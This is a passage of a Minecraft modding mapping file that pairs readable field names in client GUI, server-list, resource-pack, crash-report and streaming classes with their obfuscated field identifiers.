net/minecraft/client/gui/GuiRepair/anvilResource net/minecraft/client/gui/GuiRepair/field_147093_u +FD: net/minecraft/client/gui/GuiRepair/anvil net/minecraft/client/gui/GuiRepair/field_147092_v +FD: net/minecraft/client/gui/GuiRepair/nameField net/minecraft/client/gui/GuiRepair/field_147091_w +FD: net/minecraft/client/gui/GuiRepair/playerInventory net/minecraft/client/gui/GuiRepair/field_147094_x +FD: net/minecraft/client/gui/inventory/GuiBeacon$CancelButton/field_146146_o net/minecraft/client/gui/inventory/GuiBeacon$CancelButton/field_146146_o +FD: net/minecraft/client/gui/inventory/GuiBeacon$ConfirmButton/field_146147_o net/minecraft/client/gui/inventory/GuiBeacon$ConfirmButton/field_146147_o +FD: net/minecraft/client/gui/inventory/GuiBeacon$PowerButton/field_146150_o net/minecraft/client/gui/inventory/GuiBeacon$PowerButton/field_146150_o +FD: net/minecraft/client/gui/inventory/GuiBeacon$PowerButton/field_146149_p net/minecraft/client/gui/inventory/GuiBeacon$PowerButton/field_146149_p +FD: net/minecraft/client/gui/inventory/GuiBeacon$PowerButton/field_146148_q net/minecraft/client/gui/inventory/GuiBeacon$PowerButton/field_146148_q +FD: net/minecraft/client/gui/inventory/GuiBeacon$Button/field_146145_o net/minecraft/client/gui/inventory/GuiBeacon$Button/field_146145_o +FD: net/minecraft/client/gui/inventory/GuiBeacon$Button/field_146144_p net/minecraft/client/gui/inventory/GuiBeacon$Button/field_146144_p +FD: net/minecraft/client/gui/inventory/GuiBeacon$Button/field_146143_q net/minecraft/client/gui/inventory/GuiBeacon$Button/field_146143_q +FD: net/minecraft/client/gui/inventory/GuiBeacon$Button/field_146142_r net/minecraft/client/gui/inventory/GuiBeacon$Button/field_146142_r +FD: net/minecraft/client/gui/inventory/GuiBeacon/logger net/minecraft/client/gui/inventory/GuiBeacon/field_147026_u +FD: net/minecraft/client/gui/inventory/GuiBeacon/beaconGuiTextures net/minecraft/client/gui/inventory/GuiBeacon/field_147025_v +FD: net/minecraft/client/gui/inventory/GuiBeacon/tileBeacon net/minecraft/client/gui/inventory/GuiBeacon/field_147024_w +FD: net/minecraft/client/gui/inventory/GuiBeacon/beaconConfirmButton net/minecraft/client/gui/inventory/GuiBeacon/field_147028_x +FD: net/minecraft/client/gui/inventory/GuiBeacon/buttonsNotDrawn net/minecraft/client/gui/inventory/GuiBeacon/field_147027_y +FD: net/minecraft/client/gui/GuiScreenBook$NextPageButton/field_146151_o net/minecraft/client/gui/GuiScreenBook$NextPageButton/field_146151_o +FD: net/minecraft/client/gui/GuiScreenBook/field_175386_A net/minecraft/client/gui/GuiScreenBook/field_175386_A +FD: net/minecraft/client/gui/GuiScreenBook/field_175387_B net/minecraft/client/gui/GuiScreenBook/field_175387_B +FD: net/minecraft/client/gui/GuiScreenBook/buttonNextPage net/minecraft/client/gui/GuiScreenBook/field_146470_A +FD: net/minecraft/client/gui/GuiScreenBook/buttonPreviousPage net/minecraft/client/gui/GuiScreenBook/field_146471_B +FD: net/minecraft/client/gui/GuiScreenBook/buttonDone net/minecraft/client/gui/GuiScreenBook/field_146472_C +FD: net/minecraft/client/gui/GuiScreenBook/buttonSign net/minecraft/client/gui/GuiScreenBook/field_146465_D +FD: net/minecraft/client/gui/GuiScreenBook/buttonFinalize net/minecraft/client/gui/GuiScreenBook/field_146467_E +FD: net/minecraft/client/gui/GuiScreenBook/buttonCancel net/minecraft/client/gui/GuiScreenBook/field_146469_F +FD: net/minecraft/client/gui/GuiScreenBook/logger net/minecraft/client/gui/GuiScreenBook/field_146473_a +FD: net/minecraft/client/gui/GuiScreenBook/bookGuiTextures net/minecraft/client/gui/GuiScreenBook/field_146466_f +FD: net/minecraft/client/gui/GuiScreenBook/editingPlayer net/minecraft/client/gui/GuiScreenBook/field_146468_g +FD: net/minecraft/client/gui/GuiScreenBook/bookObj net/minecraft/client/gui/GuiScreenBook/field_146474_h +FD: net/minecraft/client/gui/GuiScreenBook/bookIsUnsigned net/minecraft/client/gui/GuiScreenBook/field_146475_i +FD: net/minecraft/client/gui/GuiScreenBook/bookIsModified net/minecraft/client/gui/GuiScreenBook/field_146481_r +FD: net/minecraft/client/gui/GuiScreenBook/bookGettingSigned net/minecraft/client/gui/GuiScreenBook/field_146480_s +FD: net/minecraft/client/gui/GuiScreenBook/updateCount net/minecraft/client/gui/GuiScreenBook/field_146479_t +FD: net/minecraft/client/gui/GuiScreenBook/bookImageWidth net/minecraft/client/gui/GuiScreenBook/field_146478_u +FD: net/minecraft/client/gui/GuiScreenBook/bookImageHeight net/minecraft/client/gui/GuiScreenBook/field_146477_v +FD: net/minecraft/client/gui/GuiScreenBook/bookTotalPages net/minecraft/client/gui/GuiScreenBook/field_146476_w +FD: net/minecraft/client/gui/GuiScreenBook/currPage net/minecraft/client/gui/GuiScreenBook/field_146484_x +FD: net/minecraft/client/gui/GuiScreenBook/bookPages net/minecraft/client/gui/GuiScreenBook/field_146483_y +FD: net/minecraft/client/gui/GuiScreenBook/bookTitle net/minecraft/client/gui/GuiScreenBook/field_146482_z +FD: net/minecraft/client/gui/inventory/GuiBrewingStand/brewingStandGuiTextures net/minecraft/client/gui/inventory/GuiBrewingStand/field_147014_u +FD: net/minecraft/client/gui/inventory/GuiBrewingStand/playerInventory net/minecraft/client/gui/inventory/GuiBrewingStand/field_175384_v +FD: net/minecraft/client/gui/inventory/GuiBrewingStand/tileBrewingStand net/minecraft/client/gui/inventory/GuiBrewingStand/field_147013_v +FD: net/minecraft/client/gui/GuiCommandBlock/field_146488_a net/minecraft/client/gui/GuiCommandBlock/field_146488_a +FD: net/minecraft/client/gui/GuiCommandBlock/commandTextField net/minecraft/client/gui/GuiCommandBlock/field_146485_f +FD: net/minecraft/client/gui/GuiCommandBlock/previousOutputTextField net/minecraft/client/gui/GuiCommandBlock/field_146486_g +FD: net/minecraft/client/gui/GuiCommandBlock/localCommandBlock net/minecraft/client/gui/GuiCommandBlock/field_146489_h +FD: net/minecraft/client/gui/GuiCommandBlock/doneBtn net/minecraft/client/gui/GuiCommandBlock/field_146490_i +FD: net/minecraft/client/gui/GuiCommandBlock/cancelBtn net/minecraft/client/gui/GuiCommandBlock/field_146487_r +FD: net/minecraft/client/gui/GuiCommandBlock/field_175390_s net/minecraft/client/gui/GuiCommandBlock/field_175390_s +FD: net/minecraft/client/gui/GuiCommandBlock/field_175389_t net/minecraft/client/gui/GuiCommandBlock/field_175389_t +FD: net/minecraft/client/gui/inventory/GuiChest/CHEST_GUI_TEXTURE net/minecraft/client/gui/inventory/GuiChest/field_147017_u +FD: net/minecraft/client/gui/inventory/GuiChest/upperChestInventory net/minecraft/client/gui/inventory/GuiChest/field_147016_v +FD: net/minecraft/client/gui/inventory/GuiChest/lowerChestInventory net/minecraft/client/gui/inventory/GuiChest/field_147015_w +FD: net/minecraft/client/gui/inventory/GuiChest/inventoryRows net/minecraft/client/gui/inventory/GuiChest/field_147018_x +FD: net/minecraft/client/gui/inventory/GuiCrafting/craftingTableGuiTextures net/minecraft/client/gui/inventory/GuiCrafting/field_147019_u +FD: net/minecraft/client/gui/inventory/CreativeCrafting/mc net/minecraft/client/gui/inventory/CreativeCrafting/field_146109_a +FD: net/minecraft/client/gui/inventory/GuiContainerCreative$ContainerCreative/itemList net/minecraft/client/gui/inventory/GuiContainerCreative$ContainerCreative/field_148330_a +FD: net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/field_148333_a net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/field_148333_a +FD: net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/slot net/minecraft/client/gui/inventory/GuiContainerCreative$CreativeSlot/field_148332_b +FD: net/minecraft/client/gui/inventory/GuiContainerCreative/searchField net/minecraft/client/gui/inventory/GuiContainerCreative/field_147062_A +FD: net/minecraft/client/gui/inventory/GuiContainerCreative/field_147063_B net/minecraft/client/gui/inventory/GuiContainerCreative/field_147063_B +FD: net/minecraft/client/gui/inventory/GuiContainerCreative/field_147064_C net/minecraft/client/gui/inventory/GuiContainerCreative/field_147064_C +FD: net/minecraft/client/gui/inventory/GuiContainerCreative/field_147057_D net/minecraft/client/gui/inventory/GuiContainerCreative/field_147057_D +FD: net/minecraft/client/gui/inventory/GuiContainerCreative/field_147059_E net/minecraft/client/gui/inventory/GuiContainerCreative/field_147059_E +FD: net/minecraft/client/gui/inventory/GuiContainerCreative/creativeInventoryTabs net/minecraft/client/gui/inventory/GuiContainerCreative/field_147061_u +FD: net/minecraft/client/gui/inventory/GuiContainerCreative/field_147060_v net/minecraft/client/gui/inventory/GuiContainerCreative/field_147060_v +FD: net/minecraft/client/gui/inventory/GuiContainerCreative/selectedTabIndex net/minecraft/client/gui/inventory/GuiContainerCreative/field_147058_w +FD: net/minecraft/client/gui/inventory/GuiContainerCreative/currentScroll net/minecraft/client/gui/inventory/GuiContainerCreative/field_147067_x +FD: net/minecraft/client/gui/inventory/GuiContainerCreative/isScrolling net/minecraft/client/gui/inventory/GuiContainerCreative/field_147066_y +FD: net/minecraft/client/gui/inventory/GuiContainerCreative/wasClicking net/minecraft/client/gui/inventory/GuiContainerCreative/field_147065_z +FD: net/minecraft/client/gui/inventory/GuiDispenser/dispenserInventory net/minecraft/client/gui/inventory/GuiDispenser/field_175377_u +FD: net/minecraft/client/gui/inventory/GuiDispenser/dispenserGuiTextures net/minecraft/client/gui/inventory/GuiDispenser/field_147088_v +FD: net/minecraft/client/gui/inventory/GuiDispenser/playerInventory net/minecraft/client/gui/inventory/GuiDispenser/field_175376_w +FD: net/minecraft/client/renderer/InventoryEffectRenderer/hasActivePotionEffects net/minecraft/client/renderer/InventoryEffectRenderer/field_147045_u +FD: net/minecraft/util/EnchantmentNameParts/instance net/minecraft/util/EnchantmentNameParts/field_148338_a +FD: net/minecraft/util/EnchantmentNameParts/rand net/minecraft/util/EnchantmentNameParts/field_148336_b +FD: net/minecraft/util/EnchantmentNameParts/namePartsArray net/minecraft/util/EnchantmentNameParts/field_148337_c +FD: net/minecraft/client/gui/GuiEnchantment/field_147076_A net/minecraft/client/gui/GuiEnchantment/field_147076_A +FD: net/minecraft/client/gui/GuiEnchantment/field_147077_B net/minecraft/client/gui/GuiEnchantment/field_147077_B +FD: net/minecraft/client/gui/GuiEnchantment/ENCHANTMENT_TABLE_GUI_TEXTURE net/minecraft/client/gui/GuiEnchantment/field_147078_C +FD: net/minecraft/client/gui/GuiEnchantment/ENCHANTMENT_TABLE_BOOK_TEXTURE net/minecraft/client/gui/GuiEnchantment/field_147070_D +FD: net/minecraft/client/gui/GuiEnchantment/MODEL_BOOK net/minecraft/client/gui/GuiEnchantment/field_147072_E +FD: net/minecraft/client/gui/GuiEnchantment/playerInventory net/minecraft/client/gui/GuiEnchantment/field_175379_F +FD: net/minecraft/client/gui/GuiEnchantment/random net/minecraft/client/gui/GuiEnchantment/field_147074_F +FD: net/minecraft/client/gui/GuiEnchantment/container net/minecraft/client/gui/GuiEnchantment/field_147075_G +FD: net/minecraft/client/gui/GuiEnchantment/field_175380_I net/minecraft/client/gui/GuiEnchantment/field_175380_I +FD: net/minecraft/client/gui/GuiEnchantment/field_147073_u net/minecraft/client/gui/GuiEnchantment/field_147073_u +FD: net/minecraft/client/gui/GuiEnchantment/field_147071_v net/minecraft/client/gui/GuiEnchantment/field_147071_v +FD: net/minecraft/client/gui/GuiEnchantment/field_147069_w net/minecraft/client/gui/GuiEnchantment/field_147069_w +FD: net/minecraft/client/gui/GuiEnchantment/field_147082_x net/minecraft/client/gui/GuiEnchantment/field_147082_x +FD: net/minecraft/client/gui/GuiEnchantment/field_147081_y net/minecraft/client/gui/GuiEnchantment/field_147081_y +FD: net/minecraft/client/gui/GuiEnchantment/field_147080_z net/minecraft/client/gui/GuiEnchantment/field_147080_z +FD: net/minecraft/client/gui/inventory/GuiFurnace/furnaceGuiTextures net/minecraft/client/gui/inventory/GuiFurnace/field_147087_u +FD: net/minecraft/client/gui/inventory/GuiFurnace/playerInventory net/minecraft/client/gui/inventory/GuiFurnace/field_175383_v +FD: net/minecraft/client/gui/inventory/GuiFurnace/tileFurnace net/minecraft/client/gui/inventory/GuiFurnace/field_147086_v +FD: net/minecraft/client/gui/GuiHopper/HOPPER_GUI_TEXTURE net/minecraft/client/gui/GuiHopper/field_147085_u +FD: net/minecraft/client/gui/GuiHopper/playerInventory net/minecraft/client/gui/GuiHopper/field_147084_v +FD: net/minecraft/client/gui/GuiHopper/hopperInventory net/minecraft/client/gui/GuiHopper/field_147083_w +FD: net/minecraft/client/gui/inventory/GuiScreenHorseInventory/horseGuiTextures net/minecraft/client/gui/inventory/GuiScreenHorseInventory/field_147031_u +FD: net/minecraft/client/gui/inventory/GuiScreenHorseInventory/playerInventory net/minecraft/client/gui/inventory/GuiScreenHorseInventory/field_147030_v +FD: net/minecraft/client/gui/inventory/GuiScreenHorseInventory/horseInventory net/minecraft/client/gui/inventory/GuiScreenHorseInventory/field_147029_w +FD: net/minecraft/client/gui/inventory/GuiScreenHorseInventory/horseEntity net/minecraft/client/gui/inventory/GuiScreenHorseInventory/field_147034_x +FD: net/minecraft/client/gui/inventory/GuiScreenHorseInventory/mousePosx net/minecraft/client/gui/inventory/GuiScreenHorseInventory/field_147033_y +FD: net/minecraft/client/gui/inventory/GuiScreenHorseInventory/mousePosY net/minecraft/client/gui/inventory/GuiScreenHorseInventory/field_147032_z +FD: net/minecraft/client/gui/inventory/GuiInventory/oldMouseX net/minecraft/client/gui/inventory/GuiInventory/field_147048_u +FD: net/minecraft/client/gui/inventory/GuiInventory/oldMouseY net/minecraft/client/gui/inventory/GuiInventory/field_147047_v +FD: net/minecraft/client/gui/GuiMerchant$MerchantButton/field_146157_o net/minecraft/client/gui/GuiMerchant$MerchantButton/field_146157_o +FD: net/minecraft/client/gui/GuiMerchant/chatComponent net/minecraft/client/gui/GuiMerchant/field_147040_A +FD: net/minecraft/client/gui/GuiMerchant/logger net/minecraft/client/gui/GuiMerchant/field_147039_u +FD: net/minecraft/client/gui/GuiMerchant/MERCHANT_GUI_TEXTURE net/minecraft/client/gui/GuiMerchant/field_147038_v +FD: net/minecraft/client/gui/GuiMerchant/merchant net/minecraft/client/gui/GuiMerchant/field_147037_w +FD: net/minecraft/client/gui/GuiMerchant/nextButton net/minecraft/client/gui/GuiMerchant/field_147043_x +FD: net/minecraft/client/gui/GuiMerchant/previousButton net/minecraft/client/gui/GuiMerchant/field_147042_y +FD: net/minecraft/client/gui/GuiMerchant/selectedMerchantRecipe net/minecraft/client/gui/GuiMerchant/field_147041_z +FD: net/minecraft/client/gui/inventory/GuiEditSign/tileSign net/minecraft/client/gui/inventory/GuiEditSign/field_146848_f +FD: net/minecraft/client/gui/inventory/GuiEditSign/updateCounter net/minecraft/client/gui/inventory/GuiEditSign/field_146849_g +FD: net/minecraft/client/gui/inventory/GuiEditSign/editLine net/minecraft/client/gui/inventory/GuiEditSign/field_146851_h +FD: net/minecraft/client/gui/inventory/GuiEditSign/doneBtn net/minecraft/client/gui/inventory/GuiEditSign/field_146852_i +FD: net/minecraft/client/gui/GuiMultiplayer/lanServerList net/minecraft/client/gui/GuiMultiplayer/field_146799_A +FD: net/minecraft/client/gui/GuiMultiplayer/lanServerDetector net/minecraft/client/gui/GuiMultiplayer/field_146800_B +FD: net/minecraft/client/gui/GuiMultiplayer/initialized net/minecraft/client/gui/GuiMultiplayer/field_146801_C +FD: net/minecraft/client/gui/GuiMultiplayer/logger net/minecraft/client/gui/GuiMultiplayer/field_146802_a +FD: net/minecraft/client/gui/GuiMultiplayer/oldServerPinger net/minecraft/client/gui/GuiMultiplayer/field_146797_f +FD: net/minecraft/client/gui/GuiMultiplayer/parentScreen net/minecraft/client/gui/GuiMultiplayer/field_146798_g +FD: net/minecraft/client/gui/GuiMultiplayer/serverListSelector net/minecraft/client/gui/GuiMultiplayer/field_146803_h +FD: net/minecraft/client/gui/GuiMultiplayer/savedServerList net/minecraft/client/gui/GuiMultiplayer/field_146804_i +FD: net/minecraft/client/gui/GuiMultiplayer/btnEditServer net/minecraft/client/gui/GuiMultiplayer/field_146810_r +FD: net/minecraft/client/gui/GuiMultiplayer/btnSelectServer net/minecraft/client/gui/GuiMultiplayer/field_146809_s +FD: net/minecraft/client/gui/GuiMultiplayer/btnDeleteServer net/minecraft/client/gui/GuiMultiplayer/field_146808_t +FD: net/minecraft/client/gui/GuiMultiplayer/deletingServer net/minecraft/client/gui/GuiMultiplayer/field_146807_u +FD: net/minecraft/client/gui/GuiMultiplayer/addingServer net/minecraft/client/gui/GuiMultiplayer/field_146806_v +FD: net/minecraft/client/gui/GuiMultiplayer/editingServer net/minecraft/client/gui/GuiMultiplayer/field_146805_w +FD: net/minecraft/client/gui/GuiMultiplayer/directConnect net/minecraft/client/gui/GuiMultiplayer/field_146813_x +FD: net/minecraft/client/gui/GuiMultiplayer/hoveringText net/minecraft/client/gui/GuiMultiplayer/field_146812_y +FD: net/minecraft/client/gui/GuiMultiplayer/selectedServer net/minecraft/client/gui/GuiMultiplayer/field_146811_z +FD: net/minecraft/client/gui/ServerListEntryLanScan/mc net/minecraft/client/gui/ServerListEntryLanScan/field_148288_a +FD: net/minecraft/client/gui/ServerListEntryLanDetected/mc net/minecraft/client/gui/ServerListEntryLanDetected/field_148293_a +FD: net/minecraft/client/gui/ServerListEntryLanDetected/field_148291_b net/minecraft/client/gui/ServerListEntryLanDetected/field_148291_b +FD: net/minecraft/client/gui/ServerListEntryLanDetected/field_148292_c net/minecraft/client/gui/ServerListEntryLanDetected/field_148292_c +FD: net/minecraft/client/gui/ServerListEntryLanDetected/field_148290_d net/minecraft/client/gui/ServerListEntryLanDetected/field_148290_d +FD: net/minecraft/client/gui/ServerListEntryNormal$1/field_148521_a net/minecraft/client/gui/ServerListEntryNormal$1/field_148521_a +FD: net/minecraft/client/gui/ServerListEntryNormal/logger net/minecraft/client/gui/ServerListEntryNormal/field_148304_a +FD: net/minecraft/client/gui/ServerListEntryNormal/field_148302_b net/minecraft/client/gui/ServerListEntryNormal/field_148302_b +FD: net/minecraft/client/gui/ServerListEntryNormal/UNKNOWN_SERVER net/minecraft/client/gui/ServerListEntryNormal/field_178015_c +FD: net/minecraft/client/gui/ServerListEntryNormal/SERVER_SELECTION_BUTTONS net/minecraft/client/gui/ServerListEntryNormal/field_178014_d +FD: net/minecraft/client/gui/ServerListEntryNormal/owner net/minecraft/client/gui/ServerListEntryNormal/field_148303_c +FD: net/minecraft/client/gui/ServerListEntryNormal/mc net/minecraft/client/gui/ServerListEntryNormal/field_148300_d +FD: net/minecraft/client/gui/ServerListEntryNormal/server net/minecraft/client/gui/ServerListEntryNormal/field_148301_e +FD: net/minecraft/client/gui/ServerListEntryNormal/serverIcon net/minecraft/client/gui/ServerListEntryNormal/field_148306_i +FD: net/minecraft/client/gui/ServerListEntryNormal/field_148299_g net/minecraft/client/gui/ServerListEntryNormal/field_148299_g +FD: net/minecraft/client/gui/ServerListEntryNormal/field_148305_h net/minecraft/client/gui/ServerListEntryNormal/field_148305_h +FD: net/minecraft/client/gui/ServerListEntryNormal/field_148298_f net/minecraft/client/gui/ServerListEntryNormal/field_148298_f +FD: net/minecraft/client/gui/ServerSelectionList/owner net/minecraft/client/gui/ServerSelectionList/field_148200_k +FD: net/minecraft/client/gui/ServerSelectionList/serverListInternet net/minecraft/client/gui/ServerSelectionList/field_148198_l +FD: net/minecraft/client/gui/ServerSelectionList/serverListLan net/minecraft/client/gui/ServerSelectionList/field_148199_m +FD: net/minecraft/client/gui/ServerSelectionList/lanScanEntry net/minecraft/client/gui/ServerSelectionList/field_148196_n +FD: net/minecraft/client/gui/ServerSelectionList/selectedSlotIndex net/minecraft/client/gui/ServerSelectionList/field_148197_o +FD: net/minecraft/client/gui/GuiScreenResourcePacks/logger net/minecraft/client/gui/GuiScreenResourcePacks/field_146968_a +FD: net/minecraft/client/gui/GuiScreenResourcePacks/parentScreen net/minecraft/client/gui/GuiScreenResourcePacks/field_146965_f +FD: net/minecraft/client/gui/GuiScreenResourcePacks/availableResourcePacks net/minecraft/client/gui/GuiScreenResourcePacks/field_146966_g +FD: net/minecraft/client/gui/GuiScreenResourcePacks/selectedResourcePacks net/minecraft/client/gui/GuiScreenResourcePacks/field_146969_h +FD: net/minecraft/client/gui/GuiScreenResourcePacks/availableResourcePacksList net/minecraft/client/gui/GuiScreenResourcePacks/field_146970_i +FD: net/minecraft/client/gui/GuiScreenResourcePacks/selectedResourcePacksList net/minecraft/client/gui/GuiScreenResourcePacks/field_146967_r +FD: net/minecraft/client/gui/GuiScreenResourcePacks/changed net/minecraft/client/gui/GuiScreenResourcePacks/field_175289_s +FD: net/minecraft/client/resources/ResourcePackListEntry$1/field_183004_a net/minecraft/client/resources/ResourcePackListEntry$1/field_183004_a +FD: net/minecraft/client/resources/ResourcePackListEntry/mc net/minecraft/client/resources/ResourcePackListEntry/field_148317_a +FD: net/minecraft/client/resources/ResourcePackListEntry/resourcePacksGUI net/minecraft/client/resources/ResourcePackListEntry/field_148315_b +FD: net/minecraft/client/resources/ResourcePackListEntry/RESOURCE_PACKS_TEXTURE net/minecraft/client/resources/ResourcePackListEntry/field_148316_c +FD: net/minecraft/client/resources/ResourcePackListEntry/field_183020_d net/minecraft/client/resources/ResourcePackListEntry/field_183020_d +FD: net/minecraft/client/resources/ResourcePackListEntry/field_183021_e net/minecraft/client/resources/ResourcePackListEntry/field_183021_e +FD: net/minecraft/client/resources/ResourcePackListEntry/field_183022_f net/minecraft/client/resources/ResourcePackListEntry/field_183022_f +FD: net/minecraft/client/resources/ResourcePackListEntryDefault/logger net/minecraft/client/resources/ResourcePackListEntryDefault/field_148322_c +FD: net/minecraft/client/resources/ResourcePackListEntryDefault/field_148320_d net/minecraft/client/resources/ResourcePackListEntryDefault/field_148320_d +FD: net/minecraft/client/resources/ResourcePackListEntryDefault/resourcePackIcon net/minecraft/client/resources/ResourcePackListEntryDefault/field_148321_e +FD: net/minecraft/client/resources/ResourcePackListEntryFound/field_148319_c net/minecraft/client/resources/ResourcePackListEntryFound/field_148319_c +FD: net/minecraft/client/gui/GuiResourcePackList/mc net/minecraft/client/gui/GuiResourcePackList/field_148205_k +FD: net/minecraft/client/gui/GuiResourcePackList/field_148204_l net/minecraft/client/gui/GuiResourcePackList/field_148204_l +FD: net/minecraft/client/gui/stream/GuiIngestServers$ServerList/field_152435_k net/minecraft/client/gui/stream/GuiIngestServers$ServerList/field_152435_k +FD: net/minecraft/client/gui/stream/GuiIngestServers/field_152309_a net/minecraft/client/gui/stream/GuiIngestServers/field_152309_a +FD: net/minecraft/client/gui/stream/GuiIngestServers/field_152310_f net/minecraft/client/gui/stream/GuiIngestServers/field_152310_f +FD: net/minecraft/client/gui/stream/GuiIngestServers/field_152311_g net/minecraft/client/gui/stream/GuiIngestServers/field_152311_g +FD: net/minecraft/client/gui/stream/GuiStreamOptions/field_152312_a net/minecraft/client/gui/stream/GuiStreamOptions/field_152312_a +FD: net/minecraft/client/gui/stream/GuiStreamOptions/field_152316_f net/minecraft/client/gui/stream/GuiStreamOptions/field_152316_f +FD: net/minecraft/client/gui/stream/GuiStreamOptions/parentScreen net/minecraft/client/gui/stream/GuiStreamOptions/field_152317_g +FD: net/minecraft/client/gui/stream/GuiStreamOptions/field_152318_h net/minecraft/client/gui/stream/GuiStreamOptions/field_152318_h +FD: net/minecraft/client/gui/stream/GuiStreamOptions/field_152319_i net/minecraft/client/gui/stream/GuiStreamOptions/field_152319_i +FD: net/minecraft/client/gui/stream/GuiStreamOptions/field_152313_r net/minecraft/client/gui/stream/GuiStreamOptions/field_152313_r +FD: net/minecraft/client/gui/stream/GuiStreamOptions/field_152314_s net/minecraft/client/gui/stream/GuiStreamOptions/field_152314_s +FD: net/minecraft/client/gui/stream/GuiStreamOptions/field_152315_t net/minecraft/client/gui/stream/GuiStreamOptions/field_152315_t +FD: net/minecraft/crash/CrashReport$1/field_71494_a net/minecraft/crash/CrashReport$1/field_71494_a +FD: net/minecraft/crash/CrashReport$2/field_71496_a net/minecraft/crash/CrashReport$2/field_71496_a +FD: net/minecraft/crash/CrashReport$3/field_71490_a net/minecraft/crash/CrashReport$3/field_71490_a +FD: net/minecraft/crash/CrashReport$4/field_71492_a net/minecraft/crash/CrashReport$4/field_71492_a +FD: net/minecraft/crash/CrashReport$5/field_71486_a net/minecraft/crash/CrashReport$5/field_71486_a +FD: net/minecraft/crash/CrashReport$6/field_71488_a net/minecraft/crash/CrashReport$6/field_71488_a +FD: net/minecraft/crash/CrashReport$7/field_83004_a net/minecraft/crash/CrashReport$7/field_83004_a +FD: net/minecraft/crash/CrashReport/logger net/minecraft/crash/CrashReport/field_147150_a +FD: net/minecraft/crash/CrashReport/description net/minecraft/crash/CrashReport/field_71513_a +FD: net/minecraft/crash/CrashReport/cause net/minecraft/crash/CrashReport/field_71511_b +FD: net/minecraft/crash/CrashReport/theReportCategory net/minecraft/crash/CrashReport/field_85061_c +FD: net/minecraft/crash/CrashReport/crashReportSections net/minecraft/crash/CrashReport/field_71512_c +FD: net/minecraft/crash/CrashReport/crashReportFile net/minecraft/crash/CrashReport/field_71510_d +FD: net/minecraft/crash/CrashReport/firstCategoryInCrashReport net/minecraft/crash/CrashReport/field_85059_f +FD: net/minecraft/crash/CrashReport/stacktrace net/minecraft/crash/CrashReport/field_85060_g +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable$1/field_152577_a net/minecraft/client/gui/stream/GuiStreamUnavailable$1/field_152577_a +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable$1/field_152578_b net/minecraft/client/gui/stream/GuiStreamUnavailable$1/field_152578_b +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable$1/field_152579_c net/minecraft/client/gui/stream/GuiStreamUnavailable$1/field_152579_c +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/NO_FBO net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/NO_FBO +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/LIBRARY_ARCH_MISMATCH net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/LIBRARY_ARCH_MISMATCH +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/LIBRARY_FAILURE net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/LIBRARY_FAILURE +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/UNSUPPORTED_OS_WINDOWS net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/UNSUPPORTED_OS_WINDOWS +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/UNSUPPORTED_OS_MAC net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/UNSUPPORTED_OS_MAC +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/UNSUPPORTED_OS_OTHER net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/UNSUPPORTED_OS_OTHER +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/ACCOUNT_NOT_MIGRATED net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/ACCOUNT_NOT_MIGRATED +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/ACCOUNT_NOT_BOUND net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/ACCOUNT_NOT_BOUND +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/FAILED_TWITCH_AUTH net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/FAILED_TWITCH_AUTH +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/FAILED_TWITCH_AUTH_ERROR net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/FAILED_TWITCH_AUTH_ERROR +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/INITIALIZATION_FAILURE net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/INITIALIZATION_FAILURE +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/UNKNOWN net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/UNKNOWN +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/field_152574_m net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/field_152574_m +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/field_152575_n net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/field_152575_n +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/$VALUES net/minecraft/client/gui/stream/GuiStreamUnavailable$Reason/$VALUES +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable/field_152322_a net/minecraft/client/gui/stream/GuiStreamUnavailable/field_152322_a +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable/field_152324_f net/minecraft/client/gui/stream/GuiStreamUnavailable/field_152324_f +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable/parentScreen net/minecraft/client/gui/stream/GuiStreamUnavailable/field_152325_g +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable/field_152326_h net/minecraft/client/gui/stream/GuiStreamUnavailable/field_152326_h +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable/field_152327_i net/minecraft/client/gui/stream/GuiStreamUnavailable/field_152327_i +FD: net/minecraft/client/gui/stream/GuiStreamUnavailable/field_152323_r net/minecraft/client/gui/stream/GuiStreamUnavailable/field_152323_r +FD: net/minecraft/client/gui/stream/GuiTwitchUserMode/field_152331_a net/minecraft/client/gui/stream/GuiTwitchUserMode/field_152331_a +FD: net/minecraft/client/gui/stream/GuiTwitchUserMode/field_152335_f net/minecraft/client/gui/stream/GuiTwitchUserMode/field_152335_f +FD: net/minecraft/client/gui/stream/GuiTwitchUserMode/field_152336_g 